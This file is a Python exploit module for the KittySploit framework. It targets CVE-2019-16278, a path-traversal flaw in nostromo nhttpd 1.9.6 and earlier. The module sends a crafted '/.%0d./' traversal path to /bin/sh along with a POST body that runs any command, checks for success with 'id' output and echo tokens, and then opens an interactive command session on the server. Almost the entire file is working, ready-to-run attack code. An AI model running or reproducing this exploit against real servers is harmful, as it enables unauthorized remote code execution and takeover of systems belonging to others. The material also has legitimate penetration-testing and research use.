nostromo nhttpd RCE (CVE-2019-16278)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""nostromo nhttpd path traversal RCE (CVE-2019-16278) — execute session."""
from __future__ import annotations
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'nostromo nhttpd RCE (CVE-2019-16278)', 'description': 'Exploits CVE-2019-16278 directory traversal in http_verify to invoke /bin/sh on nostromo nhttpd <= 1.9.6. Opens an interactive execute session.', 'author': ['KittySploit Team'], 'cve': ['CVE-2019-16278'], 'platform': Platform.MULTI, 'payload': {'default': 'nopayload'}, 'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-16278', 'https://www.exploit-db.com/exploits/47837'], 'tags': ['nostromo', 'nhttpd', 'nazgul', 'rce', 'unauth', 'traversal', 'cve-2019-16278'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'risk_signals', 'rce'], 'requires': {'tech_hints_any': ['nostromo', 'nhttpd']}, 'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': '/bin/sh traversal'}, {'capability': 'shell', 'from_detail': 'execute session'}], 'suggested_followups': ['scanner/http/cve_2019_16278_detect']}}}
    _SHELL_PATH = '/.%0d./.%0d./.%0d./.%0d./bin/sh'
    port = OptPort(8080, 'nostromo HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)

    def execute(self, cmd: str) -> str:
        body = f'echo\necho\n{cmd} 2>&1\n'
        r = self.http_request(method='POST', path=self._SHELL_PATH, data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'}, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search('uid=\\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-16278 confirmed via id output', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'nostromo /bin/sh endpoint did not return command output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()